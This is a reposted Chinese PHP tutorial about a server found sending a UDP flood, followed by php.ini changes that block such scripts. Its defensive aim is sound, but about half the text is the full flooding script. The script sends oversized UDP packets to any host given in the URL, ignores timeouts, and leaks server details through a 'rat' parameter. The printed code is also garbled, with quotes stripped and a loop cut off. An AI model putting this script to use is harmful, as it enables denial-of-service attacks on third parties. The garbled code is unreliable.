您好,欢迎来到三六零分类信息网!老站,搜索引擎当天收录,欢迎发信息

php的ddos攻击解决方法_PHP

2024/3/4 14:10:40发布19次查看
本文实例讲述了php的ddos攻击解决方法。分享给大家供大家参考。具体分析如下:
今天自己的一台机器突然向外部发送大量数据包,可每秒到1g以上,虽然我用策略把udp禁止包是发不出去但是很占cup啊,所以想到最后还是想办法解决了.
先看源码,代码如下:
代码如下:
set_time_limit(999999);
$host = $_get['host'];
$port = $_get['port'];
$exec_time = $_get['time'];
$sendlen = 65535;
$packets = 0;
ignore_user_abort(true);
if (strlen($host)==0 or strlen($port)==0 or strlen($exec_time)==0){
        if (strlen($_get['rat'])0){
                echo $_get['rat'].$_server[http_host].|.gethostbyname($_server['server_name']).|.php_uname().|.$_server['server_software'].$_get['rat'];
                exit;
            }
        echo parameters can not be empty!;
        exit;
    }
for($i=0;$i        $out .= a;
    }
$max_time = time()+$exec_time;
while(1){
    $packets++;
    if(time() > $max_time){
        break;
    }
    $fp = fsockopen(udp://$host, $port, $errno, $errstr, 5);
        if($fp){
            fwrite($fp, $out);
            fclose($fp);
    }
}
echo send host:$host:$port
;
echo send flow:$packets * ($sendlen/1024= . round($sendlen/1024, 2) . )kb / 1024 = . round($packets*$sendlen/1024/1024, 2) . mb
;
echo send rate: . round($packets/$exec_time, 2) . packs/s; . round($packets/$exec_time*$sendlen/1024/1024, 2) . mb/s;
?>
关键代码在于如下:
代码如下:
$fp = fsockopen(udp://$ip, $rand, $errno, $errstr, 5);
方法很简单,向目标主机发送udp包,在加上定义无限死循环,就会形成较大的压力.
这个压力是对于执行这个脚本的服务器来说的,因为它首先对自身的网宽、cpu等资源造成大量占用,如果想用这个脚本对目标站点形成压力,需要在多个服务器上执行该脚本,ddos嘛,既然是用fsockopen请求外部,那就不让他请求.
php.ini里设置,代码如下:
代码如下:
allow_url_fopen = off
如果这样他还是能发包,代码如下:
extension=php_sockets.dll
改成
;extension=php_sockets.dll
重启apache、iis、nginx,这样就可以防止php ddos发包了.
另外有网友说,让脚本不允许设置为不超时很简单:
1. 把set_time_limit函数禁用
2. 启用php的安全模式(safe_mode=on).
禁用socket函数可以把把socket模块直接全部禁用也可以禁用fsockopen函数,建议,由于socket常用于发送邮件找回密码,因此建议开启直接开启安全模式,但是这样的话,脚本每30秒超时一次,估计没有哪个“黑客”寂寞到每30秒去点一下开始ddos.
经验:这种问题一般是网站安全引起的,我们要注意网站的安全及服务器的安全,这样就不容易被入侵了,如果会用macofee的朋友,对网站进行限制一下就会更好一些.
希望本文所述对大家的php程序设计有所帮助。
该用户其它信息

VIP推荐

免费发布信息,免费发布B2B信息网站平台 - 三六零分类信息网 沪ICP备09012988号-2
企业名录 Product